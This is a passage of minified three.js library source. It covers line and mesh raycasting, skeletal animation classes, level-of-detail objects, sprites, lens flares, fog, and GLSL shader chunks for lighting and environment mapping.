n.LineSegments?2:1;if(c instanceof n.BufferGeometry){var m=c.index,g=c.attributes,v=g.position.array;if(null!==m)for(var y=m.array,M=0,A=y.length-1;A>M;M+=f){var x=y[M],w=y[M+1];l.fromArray(v,3*x),h.fromArray(v,3*w);var E=t.distanceSqToSegment(l,h,p,d);if(!(E>s)){p.applyMatrix4(this.matrixWorld);var b=r.ray.origin.distanceTo(p);b<r.near||b>r.far||o.push({distance:b,point:d.clone().applyMatrix4(this.matrixWorld),index:M,face:null,faceIndex:null,object:this})}}else for(var M=0,A=v.length/3-1;A>M;M+=f){l.fromArray(v,3*M),h.fromArray(v,3*M+3);var E=t.distanceSqToSegment(l,h,p,d);if(!(E>s)){p.applyMatrix4(this.matrixWorld);var b=r.ray.origin.distanceTo(p);b<r.near||b>r.far||o.push({distance:b,point:d.clone().applyMatrix4(this.matrixWorld),index:M,face:null,faceIndex:null,object:this})}}}else if(c instanceof n.Geometry)for(var T=c.vertices,L=T.length,M=0;L-1>M;M+=f){var E=t.distanceSqToSegment(T[M],T[M+1],p,d);if(!(E>s)){p.applyMatrix4(this.matrixWorld);var b=r.ray.origin.distanceTo(p);b<r.near||b>r.far||o.push({distance:b,point:d.clone().applyMatrix4(this.matrixWorld),index:M,face:null,faceIndex:null,object:this})}}}}}(),n.Line.prototype.clone=function(){return new this.constructor(this.geometry,this.material).copy(this)},n.LineStrip=0,n.LinePieces=1,n.LineSegments=function(e,t){n.Line.call(this,e,t),this.type="LineSegments"},n.LineSegments.prototype=Object.create(n.Line.prototype),n.LineSegments.prototype.constructor=n.LineSegments,n.Mesh=function(e,t){n.Object3D.call(this),this.type="Mesh",this.geometry=void 0!==e?e:new n.Geometry,this.material=void 0!==t?t:new n.MeshBasicMaterial({color:16777215*Math.random()}),this.drawMode=n.TrianglesDrawMode,this.updateMorphTargets()},n.Mesh.prototype=Object.create(n.Object3D.prototype),n.Mesh.prototype.constructor=n.Mesh,n.Mesh.prototype.setDrawMode=function(e){this.drawMode=e},n.Mesh.prototype.updateMorphTargets=function(){if(void 0!==this.geometry.morphTargets&&this.geometry.morphTargets.length>0){this.morphTargetBase=-1,this.morphTargetInfluences=[],this.morphTargetDictionary={};for(var e=0,t=this.geometry.morphTargets.length;t>e;e++)this.morphTargetInfluences.push(0),this.morphTargetDictionary[this.geometry.morphTargets[e].name]=e}},n.Mesh.prototype.getMorphTargetIndexByName=function(e){return void 0!==this.morphTargetDictionary[e]?this.morphTargetDictionary[e]:(console.warn("THREE.Mesh.getMorphTargetIndexByName: morph target "+e+" does not exist. Returning 0."),0)},n.Mesh.prototype.raycast=function(){function e(e,t,i,r,o,a,s){return n.Triangle.barycoordFromPoint(e,t,i,r,g),o.multiplyScalar(g.x),a.multiplyScalar(g.y),s.multiplyScalar(g.z),o.add(a).add(s),o.clone()}function t(e,t,i,r,o,a,s){var c,u=e.material;if(c=u.side===n.BackSide?i.intersectTriangle(a,o,r,!0,s):i.intersectTriangle(r,o,a,u.side!==n.DoubleSide,s),null===c)return null;y.copy(s),y.applyMatrix4(e.matrixWorld);var l=t.ray.origin.distanceTo(y);return l<t.near||l>t.far?null:{distance:l,point:y.clone(),object:e}}function i(i,r,o,a,l,h,d,g){s.fromArray(a,3*h),c.fromArray(a,3*d),u.fromArray(a,3*g);var y=t(i,r,o,s,c,u,v);return y&&(l&&(p.fromArray(l,2*h),f.fromArray(l,2*d),m.fromArray(l,2*g),y.uv=e(v,s,c,u,p,f,m)),y.face=new n.Face3(h,d,g,n.Triangle.normal(s,c,u)),y.faceIndex=h),y}var r=new n.Matrix4,o=new n.Ray,a=new n.Sphere,s=new n.Vector3,c=new n.Vector3,u=new n.Vector3,l=new n.Vector3,h=new n.Vector3,d=new n.Vector3,p=new n.Vector2,f=new n.Vector2,m=new n.Vector2,g=new n.Vector3,v=new n.Vector3,y=new n.Vector3;return function(g,y){var M=this.geometry,A=this.material,x=this.matrixWorld;if(void 0!==A&&(null===M.boundingSphere&&M.computeBoundingSphere(),a.copy(M.boundingSphere),a.applyMatrix4(x),g.ray.intersectsSphere(a)!==!1&&(r.getInverse(x),o.copy(g.ray).applyMatrix4(r),null===M.boundingBox||o.intersectsBox(M.boundingBox)!==!1))){var w,E;if(M instanceof n.BufferGeometry){var b,T,L,D=M.index,N=M.attributes,S=N.position.array;if(void 0!==N.uv&&(w=N.uv.array),null!==D)for(var C=D.array,I=0,j=C.length;j>I;I+=3)b=C[I],T=C[I+1],L=C[I+2],E=i(this,g,o,S,w,b,T,L),E&&(E.faceIndex=Math.floor(I/3),y.push(E));else for(var I=0,j=S.length;j>I;I+=9)b=I/3,T=b+1,L=b+2,E=i(this,g,o,S,w,b,T,L),E&&(E.index=b,y.push(E))}else if(M instanceof n.Geometry){var _,O,z,k=A instanceof n.MultiMaterial,R=k===!0?A.materials:null,B=M.vertices,U=M.faces,P=M.faceVertexUvs[0];P.length>0&&(w=P);for(var F=0,G=U.length;G>F;F++){var V=U[F],Q=k===!0?R[V.materialIndex]:A;if(void 0!==Q){if(_=B[V.a],O=B[V.b],z=B[V.c],Q.morphTargets===!0){var Y=M.morphTargets,H=this.morphTargetInfluences;s.set(0,0,0),c.set(0,0,0),u.set(0,0,0);for(var W=0,X=Y.length;X>W;W++){var q=H[W];if(0!==q){var Z=Y[W].vertices;s.addScaledVector(l.subVectors(Z[V.a],_),q),c.addScaledVector(h.subVectors(Z[V.b],O),q),u.addScaledVector(d.subVectors(Z[V.c],z),q)}}s.add(_),c.add(O),u.add(z),_=s,O=c,z=u}if(E=t(this,g,o,_,O,z,v)){if(w){var K=w[F];p.copy(K[0]),f.copy(K[1]),m.copy(K[2]),E.uv=e(v,_,O,z,p,f,m)}E.face=V,E.faceIndex=F,y.push(E)}}}}}}}(),n.Mesh.prototype.clone=function(){return new this.constructor(this.geometry,this.material).copy(this)},n.Bone=function(e){n.Object3D.call(this),this.type="Bone",this.skin=e},n.Bone.prototype=Object.create(n.Object3D.prototype),n.Bone.prototype.constructor=n.Bone,n.Bone.prototype.copy=function(e){return n.Object3D.prototype.copy.call(this,e),this.skin=e.skin,this},n.Skeleton=function(e,t,i){if(this.useVertexTexture=void 0!==i?i:!0,this.identityMatrix=new n.Matrix4,e=e||[],this.bones=e.slice(0),this.useVertexTexture){var r=Math.sqrt(4*this.bones.length);r=n.Math.nextPowerOfTwo(Math.ceil(r)),r=Math.max(r,4),this.boneTextureWidth=r,this.boneTextureHeight=r,this.boneMatrices=new Float32Array(this.boneTextureWidth*this.boneTextureHeight*4),this.boneTexture=new n.DataTexture(this.boneMatrices,this.boneTextureWidth,this.boneTextureHeight,n.RGBAFormat,n.FloatType)}else this.boneMatrices=new Float32Array(16*this.bones.length);if(void 0===t)this.calculateInverses();else if(this.bones.length===t.length)this.boneInverses=t.slice(0);else{console.warn("THREE.Skeleton bonInverses is the wrong length."),this.boneInverses=[];for(var o=0,a=this.bones.length;a>o;o++)this.boneInverses.push(new n.Matrix4)}},n.Skeleton.prototype.calculateInverses=function(){this.boneInverses=[];for(var e=0,t=this.bones.length;t>e;e++){var i=new n.Matrix4;this.bones[e]&&i.getInverse(this.bones[e].matrixWorld),this.boneInverses.push(i)}},n.Skeleton.prototype.pose=function(){for(var e,t=0,i=this.bones.length;i>t;t++)e=this.bones[t],e&&e.matrixWorld.getInverse(this.boneInverses[t]);for(var t=0,i=this.bones.length;i>t;t++)e=this.bones[t],e&&(e.parent?(e.matrix.getInverse(e.parent.matrixWorld),e.matrix.multiply(e.matrixWorld)):e.matrix.copy(e.matrixWorld),e.matrix.decompose(e.position,e.quaternion,e.scale))},n.Skeleton.prototype.update=function(){var e=new n.Matrix4;return function(){for(var t=0,i=this.bones.length;i>t;t++){var r=this.bones[t]?this.bones[t].matrixWorld:this.identityMatrix;e.multiplyMatrices(r,this.boneInverses[t]),e.toArray(this.boneMatrices,16*t)}this.useVertexTexture&&(this.boneTexture.needsUpdate=!0)}}(),n.Skeleton.prototype.clone=function(){return new n.Skeleton(this.bones,this.boneInverses,this.useVertexTexture)},n.SkinnedMesh=function(e,t,i){n.Mesh.call(this,e,t),this.type="SkinnedMesh",this.bindMode="attached",this.bindMatrix=new n.Matrix4,this.bindMatrixInverse=new n.Matrix4;var r=[];if(this.geometry&&void 0!==this.geometry.bones){for(var o,a,s=0,c=this.geometry.bones.length;c>s;++s)a=this.geometry.bones[s],o=new n.Bone(this),r.push(o),o.name=a.name,o.position.fromArray(a.pos),o.quaternion.fromArray(a.rotq),void 0!==a.scl&&o.scale.fromArray(a.scl);for(var s=0,c=this.geometry.bones.length;c>s;++s)a=this.geometry.bones[s],-1!==a.parent&&null!==a.parent&&void 0!==r[a.parent]?r[a.parent].add(r[s]):this.add(r[s])}this.normalizeSkinWeights(),this.updateMatrixWorld(!0),this.bind(new n.Skeleton(r,void 0,i),this.matrixWorld)},n.SkinnedMesh.prototype=Object.create(n.Mesh.prototype),n.SkinnedMesh.prototype.constructor=n.SkinnedMesh,n.SkinnedMesh.prototype.bind=function(e,t){this.skeleton=e,void 0===t&&(this.updateMatrixWorld(!0),this.skeleton.calculateInverses(),t=this.matrixWorld),this.bindMatrix.copy(t),this.bindMatrixInverse.getInverse(t)},n.SkinnedMesh.prototype.pose=function(){this.skeleton.pose()},n.SkinnedMesh.prototype.normalizeSkinWeights=function(){if(this.geometry instanceof n.Geometry)for(var e=0;e<this.geometry.skinWeights.length;e++){var t=this.geometry.skinWeights[e],i=1/t.lengthManhattan();i!==1/0?t.multiplyScalar(i):t.set(1,0,0,0)}else if(this.geometry instanceof n.BufferGeometry)for(var r=new n.Vector4,o=this.geometry.attributes.skinWeight,e=0;e<o.count;e++){r.x=o.getX(e),r.y=o.getY(e),r.z=o.getZ(e),r.w=o.getW(e);var i=1/r.lengthManhattan();i!==1/0?r.multiplyScalar(i):r.set(1,0,0,0),o.setXYZW(e,r.x,r.y,r.z,r.w)}},n.SkinnedMesh.prototype.updateMatrixWorld=function(){n.Mesh.prototype.updateMatrixWorld.call(this,!0),"attached"===this.bindMode?this.bindMatrixInverse.getInverse(this.matrixWorld):"detached"===this.bindMode?this.bindMatrixInverse.getInverse(this.bindMatrix):console.warn("THREE.SkinnedMesh unrecognized bindMode: "+this.bindMode)},n.SkinnedMesh.prototype.clone=function(){return new this.constructor(this.geometry,this.material,this.useVertexTexture).copy(this)},n.LOD=function(){n.Object3D.call(this),this.type="LOD",Object.defineProperties(this,{levels:{enumerable:!0,value:[]}})},n.LOD.prototype=Object.create(n.Object3D.prototype),n.LOD.prototype.constructor=n.LOD,n.LOD.prototype.addLevel=function(e,t){void 0===t&&(t=0),t=Math.abs(t);for(var i=this.levels,r=0;r<i.length&&!(t<i[r].distance);r++);i.splice(r,0,{distance:t,object:e}),this.add(e)},n.LOD.prototype.getObjectForDistance=function(e){for(var t=this.levels,i=1,r=t.length;r>i&&!(e<t[i].distance);i++);return t[i-1].object},n.LOD.prototype.raycast=function(){var e=new n.Vector3;return function(t,i){e.setFromMatrixPosition(this.matrixWorld);var r=t.ray.origin.distanceTo(e);this.getObjectForDistance(r).raycast(t,i)}}(),n.LOD.prototype.update=function(){var e=new n.Vector3,t=new n.Vector3;return function(i){var r=this.levels;if(r.length>1){e.setFromMatrixPosition(i.matrixWorld),t.setFromMatrixPosition(this.matrixWorld);var n=e.distanceTo(t);r[0].object.visible=!0;for(var o=1,a=r.length;a>o&&n>=r[o].distance;o++)r[o-1].object.visible=!1,r[o].object.visible=!0;for(;a>o;o++)r[o].object.visible=!1}}}(),n.LOD.prototype.copy=function(e){n.Object3D.prototype.copy.call(this,e,!1);for(var t=e.levels,i=0,r=t.length;r>i;i++){var o=t[i];this.addLevel(o.object.clone(),o.distance)}return this},n.LOD.prototype.toJSON=function(e){var t=n.Object3D.prototype.toJSON.call(this,e);t.object.levels=[];for(var i=this.levels,r=0,o=i.length;o>r;r++){var a=i[r];t.object.levels.push({object:a.object.uuid,distance:a.distance})}return t},n.Sprite=function(){var e=new Uint16Array([0,1,2,0,2,3]),t=new Float32Array([-.5,-.5,0,.5,-.5,0,.5,.5,0,-.5,.5,0]),i=new Float32Array([0,0,1,0,1,1,0,1]),r=new n.BufferGeometry;return r.setIndex(new n.BufferAttribute(e,1)),r.addAttribute("position",new n.BufferAttribute(t,3)),r.addAttribute("uv",new n.BufferAttribute(i,2)),function(e){n.Object3D.call(this),this.type="Sprite",this.geometry=r,this.material=void 0!==e?e:new n.SpriteMaterial}}(),n.Sprite.prototype=Object.create(n.Object3D.prototype),n.Sprite.prototype.constructor=n.Sprite,n.Sprite.prototype.raycast=function(){var e=new n.Vector3;return function(t,i){e.setFromMatrixPosition(this.matrixWorld);var r=t.ray.distanceSqToPoint(e),n=this.scale.x*this.scale.y/4;r>n||i.push({distance:Math.sqrt(r),point:this.position,face:null,object:this})}}(),n.Sprite.prototype.clone=function(){return new this.constructor(this.material).copy(this)},n.Particle=n.Sprite,n.LensFlare=function(e,t,i,r,o){n.Object3D.call(this),this.lensFlares=[],this.positionScreen=new n.Vector3,this.customUpdateCallback=void 0,void 0!==e&&this.add(e,t,i,r,o)},n.LensFlare.prototype=Object.create(n.Object3D.prototype),n.LensFlare.prototype.constructor=n.LensFlare,n.LensFlare.prototype.add=function(e,t,i,r,o,a){void 0===t&&(t=-1),void 0===i&&(i=0),void 0===a&&(a=1),void 0===o&&(o=new n.Color(16777215)),void 0===r&&(r=n.NormalBlending),i=Math.min(i,Math.max(0,i)),this.lensFlares.push({texture:e,size:t,distance:i,x:0,y:0,z:0,scale:1,rotation:0,opacity:a,color:o,blending:r})},n.LensFlare.prototype.updateLensFlares=function(){var e,t,i=this.lensFlares.length,r=2*-this.positionScreen.x,n=2*-this.positionScreen.y;for(e=0;i>e;e++)t=this.lensFlares[e],t.x=this.positionScreen.x+r*t.distance,t.y=this.positionScreen.y+n*t.distance,t.wantedRotation=t.x*Math.PI*.25,t.rotation+=.25*(t.wantedRotation-t.rotation)},n.LensFlare.prototype.copy=function(e){n.Object3D.prototype.copy.call(this,e),this.positionScreen.copy(e.positionScreen),this.customUpdateCallback=e.customUpdateCallback;for(var t=0,i=e.lensFlares.length;i>t;t++)this.lensFlares.push(e.lensFlares[t]);return this},n.Scene=function(){n.Object3D.call(this),this.type="Scene",this.fog=null,this.overrideMaterial=null,this.autoUpdate=!0},n.Scene.prototype=Object.create(n.Object3D.prototype),n.Scene.prototype.constructor=n.Scene,n.Scene.prototype.copy=function(e,t){return n.Object3D.prototype.copy.call(this,e,t),null!==e.fog&&(this.fog=e.fog.clone()),null!==e.overrideMaterial&&(this.overrideMaterial=e.overrideMaterial.clone()),this.autoUpdate=e.autoUpdate,this.matrixAutoUpdate=e.matrixAutoUpdate,this},n.Fog=function(e,t,i){this.name="",this.color=new n.Color(e),this.near=void 0!==t?t:1,this.far=void 0!==i?i:1e3},n.Fog.prototype.clone=function(){return new n.Fog(this.color.getHex(),this.near,this.far)},n.FogExp2=function(e,t){this.name="",this.color=new n.Color(e),this.density=void 0!==t?t:25e-5},n.FogExp2.prototype.clone=function(){return new n.FogExp2(this.color.getHex(),this.density)},n.ShaderChunk={},n.ShaderChunk.alphamap_fragment="#ifdef USE_ALPHAMAP\n diffuseColor.a *= texture2D( alphaMap, vUv ).g;\n#endif\n",n.ShaderChunk.alphamap_pars_fragment="#ifdef USE_ALPHAMAP\n uniform sampler2D alphaMap;\n#endif\n",n.ShaderChunk.alphatest_fragment="#ifdef ALPHATEST\n if ( diffuseColor.a < ALPHATEST ) discard;\n#endif\n",n.ShaderChunk.aomap_fragment="#ifdef USE_AOMAP\n float ambientOcclusion = ( texture2D( aoMap, vUv2 ).r - 1.0 ) * aoMapIntensity + 1.0;\n reflectedLight.indirectDiffuse *= ambientOcclusion;\n #if defined( USE_ENVMAP ) && defined( PHYSICAL )\n float dotNV = saturate( dot( geometry.normal, geometry.viewDir ) );\n reflectedLight.indirectSpecular *= computeSpecularOcclusion( dotNV, ambientOcclusion, material.specularRoughness );\n #endif\n#endif\n",n.ShaderChunk.aomap_pars_fragment="#ifdef USE_AOMAP\n uniform sampler2D aoMap;\n uniform float aoMapIntensity;\n#endif",n.ShaderChunk.begin_vertex="\nvec3 transformed = vec3( position );\n",n.ShaderChunk.beginnormal_vertex="\nvec3 objectNormal = vec3( normal );\n",n.ShaderChunk.bsdfs="bool testLightInRange( const in float lightDistance, const in float cutoffDistance ) {\n return any( bvec2( cutoffDistance == 0.0, lightDistance < cutoffDistance ) );\n}\nfloat punctualLightIntensityToIrradianceFactor( const in float lightDistance, const in float cutoffDistance, const in float decayExponent ) {\n if( decayExponent > 0.0 ) {\n#if defined ( PHYSICALLY_CORRECT_LIGHTS )\n float distanceFalloff = 1.0 / max( pow( lightDistance, decayExponent ), 0.01 );\n float maxDistanceCutoffFactor = pow2( saturate( 1.0 - pow4( lightDistance / cutoffDistance ) ) );\n return distanceFalloff * maxDistanceCutoffFactor;\n#else\n return pow( saturate( -lightDistance / cutoffDistance + 1.0 ), decayExponent );\n#endif\n }\n return 1.0;\n}\nvec3 BRDF_Diffuse_Lambert( const in vec3 diffuseColor ) {\n return RECIPROCAL_PI * diffuseColor;\n}\nvec3 F_Schlick( const in vec3 specularColor, const in float dotLH ) {\n float fresnel = exp2( ( -5.55473 * dotLH - 6.98316 ) * dotLH );\n return ( 1.0 - specularColor ) * fresnel + specularColor;\n}\nfloat G_GGX_Smith( const in float alpha, const in float dotNL, const in float dotNV ) {\n float a2 = pow2( alpha );\n float gl = dotNL + sqrt( a2 + ( 1.0 - a2 ) * pow2( dotNL ) );\n float gv = dotNV + sqrt( a2 + ( 1.0 - a2 ) * pow2( dotNV ) );\n return 1.0 / ( gl * gv );\n}\nfloat G_GGX_SmithCorrelated( const in float alpha, const in float dotNL, const in float dotNV ) {\n float a2 = pow2( alpha );\n float gv = dotNL * sqrt( a2 + ( 1.0 - a2 ) * pow2( dotNV ) );\n float gl = dotNV * sqrt( a2 + ( 1.0 - a2 ) * pow2( dotNL ) );\n return 0.5 / max( gv + gl, EPSILON );\n}\nfloat D_GGX( const in float alpha, const in float dotNH ) {\n float a2 = pow2( alpha );\n float denom = pow2( dotNH ) * ( a2 - 1.0 ) + 1.0;\n return RECIPROCAL_PI * a2 / pow2( denom );\n}\nvec3 BRDF_Specular_GGX( const in IncidentLight incidentLight, const in GeometricContext geometry, const in vec3 specularColor, const in float roughness ) {\n float alpha = pow2( roughness );\n vec3 halfDir = normalize( incidentLight.direction + geometry.viewDir );\n float dotNL = saturate( dot( geometry.normal, incidentLight.direction ) );\n float dotNV = saturate( dot( geometry.normal, geometry.viewDir ) );\n float dotNH = saturate( dot( geometry.normal, halfDir ) );\n float dotLH = saturate( dot( incidentLight.direction, halfDir ) );\n vec3 F = F_Schlick( specularColor, dotLH );\n float G = G_GGX_SmithCorrelated( alpha, dotNL, dotNV );\n float D = D_GGX( alpha, dotNH );\n return F * ( G * D );\n}\nvec3 BRDF_Specular_GGX_Environment( const in GeometricContext geometry, const in vec3 specularColor, const in float roughness ) {\n float dotNV = saturate( dot( geometry.normal, geometry.viewDir ) );\n const vec4 c0 = vec4( - 1, - 0.0275, - 0.572, 0.022 );\n const vec4 c1 = vec4( 1, 0.0425, 1.04, - 0.04 );\n vec4 r = roughness * c0 + c1;\n float a004 = min( r.x * r.x, exp2( - 9.28 * dotNV ) ) * r.x + r.y;\n vec2 AB = vec2( -1.04, 1.04 ) * a004 + r.zw;\n return specularColor * AB.x + AB.y;\n}\nfloat G_BlinnPhong_Implicit( ) {\n return 0.25;\n}\nfloat D_BlinnPhong( const in float shininess, const in float dotNH ) {\n return RECIPROCAL_PI * ( shininess * 0.5 + 1.0 ) * pow( dotNH, shininess );\n}\nvec3 BRDF_Specular_BlinnPhong( const in IncidentLight incidentLight, const in GeometricContext geometry, const in vec3 specularColor, const in float shininess ) {\n vec3 halfDir = normalize( incidentLight.direction + geometry.viewDir );\n float dotNH = saturate( dot( geometry.normal, halfDir ) );\n float dotLH = saturate( dot( incidentLight.direction, halfDir ) );\n vec3 F = F_Schlick( specularColor, dotLH );\n float G = G_BlinnPhong_Implicit( );\n float D = D_BlinnPhong( shininess, dotNH );\n return F * ( G * D );\n}\nfloat GGXRoughnessToBlinnExponent( const in float ggxRoughness ) {\n return ( 2.0 / pow2( ggxRoughness + 0.0001 ) - 2.0 );\n}\nfloat BlinnExponentToGGXRoughness( const in float blinnExponent ) {\n return sqrt( 2.0 / ( blinnExponent + 2.0 ) );\n}\n",
n.ShaderChunk.bumpmap_pars_fragment="#ifdef USE_BUMPMAP\n uniform sampler2D bumpMap;\n uniform float bumpScale;\n vec2 dHdxy_fwd() {\n vec2 dSTdx = dFdx( vUv );\n vec2 dSTdy = dFdy( vUv );\n float Hll = bumpScale * texture2D( bumpMap, vUv ).x;\n float dBx = bumpScale * texture2D( bumpMap, vUv + dSTdx ).x - Hll;\n float dBy = bumpScale * texture2D( bumpMap, vUv + dSTdy ).x - Hll;\n return vec2( dBx, dBy );\n }\n vec3 perturbNormalArb( vec3 surf_pos, vec3 surf_norm, vec2 dHdxy ) {\n vec3 vSigmaX = dFdx( surf_pos );\n vec3 vSigmaY = dFdy( surf_pos );\n vec3 vN = surf_norm;\n vec3 R1 = cross( vSigmaY, vN );\n vec3 R2 = cross( vN, vSigmaX );\n float fDet = dot( vSigmaX, R1 );\n vec3 vGrad = sign( fDet ) * ( dHdxy.x * R1 + dHdxy.y * R2 );\n return normalize( abs( fDet ) * surf_norm - vGrad );\n }\n#endif\n",n.ShaderChunk.clipping_planes_fragment="#if NUM_CLIPPING_PLANES > 0\n for ( int i = 0; i < NUM_CLIPPING_PLANES; ++ i ) {\n vec4 plane = clippingPlanes[ i ];\n if ( dot( vViewPosition, plane.xyz ) > plane.w ) discard;\n }\n#endif\n",n.ShaderChunk.clipping_planes_pars_fragment="#if NUM_CLIPPING_PLANES > 0\n #if ! defined( PHYSICAL ) && ! defined( PHONG )\n varying vec3 vViewPosition;\n #endif\n uniform vec4 clippingPlanes[ NUM_CLIPPING_PLANES ];\n#endif\n",n.ShaderChunk.clipping_planes_pars_vertex="#if NUM_CLIPPING_PLANES > 0 && ! defined( PHYSICAL ) && ! defined( PHONG )\n varying vec3 vViewPosition;\n#endif\n",n.ShaderChunk.clipping_planes_vertex="#if NUM_CLIPPING_PLANES > 0 && ! defined( PHYSICAL ) && ! defined( PHONG )\n vViewPosition = - mvPosition.xyz;\n#endif\n",n.ShaderChunk.color_fragment="#ifdef USE_COLOR\n diffuseColor.rgb *= vColor;\n#endif",n.ShaderChunk.color_pars_fragment="#ifdef USE_COLOR\n varying vec3 vColor;\n#endif\n",n.ShaderChunk.color_pars_vertex="#ifdef USE_COLOR\n varying vec3 vColor;\n#endif",n.ShaderChunk.color_vertex="#ifdef USE_COLOR\n vColor.xyz = color.xyz;\n#endif",n.ShaderChunk.common="#define PI 3.14159265359\n#define PI2 6.28318530718\n#define RECIPROCAL_PI 0.31830988618\n#define RECIPROCAL_PI2 0.15915494\n#define LOG2 1.442695\n#define EPSILON 1e-6\n#define saturate(a) clamp( a, 0.0, 1.0 )\n#define whiteCompliment(a) ( 1.0 - saturate( a ) )\nfloat pow2( const in float x ) { return x*x; }\nfloat pow3( const in float x ) { return x*x*x; }\nfloat pow4( const in float x ) { float x2 = x*x; return x2*x2; }\nfloat average( const in vec3 color ) { return dot( color, vec3( 0.3333 ) ); }\nhighp float rand( const in vec2 uv ) {\n const highp float a = 12.9898, b = 78.233, c = 43758.5453;\n highp float dt = dot( uv.xy, vec2( a,b ) ), sn = mod( dt, PI );\n return fract(sin(sn) * c);\n}\nstruct IncidentLight {\n vec3 color;\n vec3 direction;\n bool visible;\n};\nstruct ReflectedLight {\n vec3 directDiffuse;\n vec3 directSpecular;\n vec3 indirectDiffuse;\n vec3 indirectSpecular;\n};\nstruct GeometricContext {\n vec3 position;\n vec3 normal;\n vec3 viewDir;\n};\nvec3 transformDirection( in vec3 dir, in mat4 matrix ) {\n return normalize( ( matrix * vec4( dir, 0.0 ) ).xyz );\n}\nvec3 inverseTransformDirection( in vec3 dir, in mat4 matrix ) {\n return normalize( ( vec4( dir, 0.0 ) * matrix ).xyz );\n}\nvec3 projectOnPlane(in vec3 point, in vec3 pointOnPlane, in vec3 planeNormal ) {\n float distance = dot( planeNormal, point - pointOnPlane );\n return - distance * planeNormal + point;\n}\nfloat sideOfPlane( in vec3 point, in vec3 pointOnPlane, in vec3 planeNormal ) {\n return sign( dot( point - pointOnPlane, planeNormal ) );\n}\nvec3 linePlaneIntersect( in vec3 pointOnLine, in vec3 lineDirection, in vec3 pointOnPlane, in vec3 planeNormal ) {\n return lineDirection * ( dot( planeNormal, pointOnPlane - pointOnLine ) / dot( planeNormal, lineDirection ) ) + pointOnLine;\n}\n",n.ShaderChunk.cube_uv_reflection_fragment="#ifdef ENVMAP_TYPE_CUBE_UV\nconst float cubeUV_textureSize = 1024.0;\nint getFaceFromDirection(vec3 direction) {\n vec3 absDirection = abs(direction);\n int face = -1;\n if( absDirection.x > absDirection.z ) {\n if(absDirection.x > absDirection.y )\n face = direction.x > 0.0 ? 0 : 3;\n else\n face = direction.y > 0.0 ? 1 : 4;\n }\n else {\n if(absDirection.z > absDirection.y )\n face = direction.z > 0.0 ? 2 : 5;\n else\n face = direction.y > 0.0 ? 1 : 4;\n }\n return face;\n}\nfloat cubeUV_maxLods1 = log2(cubeUV_textureSize*0.25) - 1.0;\nfloat cubeUV_rangeClamp = exp2((6.0 - 1.0) * 2.0);\nvec2 MipLevelInfo( vec3 vec, float roughnessLevel, float roughness ) {\n float scale = exp2(cubeUV_maxLods1 - roughnessLevel);\n float dxRoughness = dFdx(roughness);\n float dyRoughness = dFdy(roughness);\n vec3 dx = dFdx( vec * scale * dxRoughness );\n vec3 dy = dFdy( vec * scale * dyRoughness );\n float d = max( dot( dx, dx ), dot( dy, dy ) );\n d = clamp(d, 1.0, cubeUV_rangeClamp);\n float mipLevel = 0.5 * log2(d);\n return vec2(floor(mipLevel), fract(mipLevel));\n}\nfloat cubeUV_maxLods2 = log2(cubeUV_textureSize*0.25) - 2.0;\nconst float cubeUV_rcpTextureSize = 1.0 / cubeUV_textureSize;\nvec2 getCubeUV(vec3 direction, float roughnessLevel, float mipLevel) {\n mipLevel = roughnessLevel > cubeUV_maxLods2 - 3.0 ? 0.0 : mipLevel;\n float a = 16.0 * cubeUV_rcpTextureSize;\n vec2 exp2_packed = exp2( vec2( roughnessLevel, mipLevel ) );\n vec2 rcp_exp2_packed = vec2( 1.0 ) / exp2_packed;\n float powScale = exp2_packed.x * exp2_packed.y;\n float scale = rcp_exp2_packed.x * rcp_exp2_packed.y * 0.25;\n float mipOffset = 0.75*(1.0 - rcp_exp2_packed.y) * rcp_exp2_packed.x;\n bool bRes = mipLevel == 0.0;\n scale = bRes && (scale < a) ? a : scale;\n vec3 r;\n vec2 offset;\n int face = getFaceFromDirection(direction);\n float rcpPowScale = 1.0 / powScale;\n if( face == 0) {\n r = vec3(direction.x, -direction.z, direction.y);\n offset = vec2(0.0+mipOffset,0.75 * rcpPowScale);\n offset.y = bRes && (offset.y < 2.0*a) ? a : offset.y;\n }\n else if( face == 1) {\n r = vec3(direction.y, direction.x, direction.z);\n offset = vec2(scale+mipOffset, 0.75 * rcpPowScale);\n offset.y = bRes && (offset.y < 2.0*a) ? a : offset.y;\n }\n else if( face == 2) {\n r = vec3(direction.z, direction.x, direction.y);\n offset = vec2(2.0*scale+mipOffset, 0.75 * rcpPowScale);\n offset.y = bRes && (offset.y < 2.0*a) ? a : offset.y;\n }\n else if( face == 3) {\n r = vec3(direction.x, direction.z, direction.y);\n offset = vec2(0.0+mipOffset,0.5 * rcpPowScale);\n offset.y = bRes && (offset.y < 2.0*a) ? 0.0 : offset.y;\n }\n else if( face == 4) {\n r = vec3(direction.y, direction.x, -direction.z);\n offset = vec2(scale+mipOffset, 0.5 * rcpPowScale);\n offset.y = bRes && (offset.y < 2.0*a) ? 0.0 : offset.y;\n }\n else {\n r = vec3(direction.z, -direction.x, direction.y);\n offset = vec2(2.0*scale+mipOffset, 0.5 * rcpPowScale);\n offset.y = bRes && (offset.y < 2.0*a) ? 0.0 : offset.y;\n }\n r = normalize(r);\n float texelOffset = 0.5 * cubeUV_rcpTextureSize;\n vec2 s = ( r.yz / abs( r.x ) + vec2( 1.0 ) ) * 0.5;\n vec2 base = offset + vec2( texelOffset );\n return base + s * ( scale - 2.0 * texelOffset );\n}\nfloat cubeUV_maxLods3 = log2(cubeUV_textureSize*0.25) - 3.0;\nvec4 textureCubeUV(vec3 reflectedDirection, float roughness ) {\n float roughnessVal = roughness* cubeUV_maxLods3;\n float r1 = floor(roughnessVal);\n float r2 = r1 + 1.0;\n float t = fract(roughnessVal);\n vec2 mipInfo = MipLevelInfo(reflectedDirection, r1, roughness);\n float s = mipInfo.y;\n float level0 = mipInfo.x;\n float level1 = level0 + 1.0;\n level1 = level1 > 5.0 ? 5.0 : level1;\n level0 += min( floor( s + 0.5 ), 5.0 );\n vec2 uv_10 = getCubeUV(reflectedDirection, r1, level0);\n vec4 color10 = envMapTexelToLinear(texture2D(envMap, uv_10));\n vec2 uv_20 = getCubeUV(reflectedDirection, r2, level0);\n vec4 color20 = envMapTexelToLinear(texture2D(envMap, uv_20));\n vec4 result = mix(color10, color20, t);\n return vec4(result.rgb, 1.0);\n}\n#endif\n",n.ShaderChunk.defaultnormal_vertex="#ifdef FLIP_SIDED\n objectNormal = -objectNormal;\n#endif\nvec3 transformedNormal = normalMatrix * objectNormal;\n",n.ShaderChunk.displacementmap_vertex="#ifdef USE_DISPLACEMENTMAP\n transformed += normal * ( texture2D( displacementMap, uv ).x * displacementScale + displacementBias 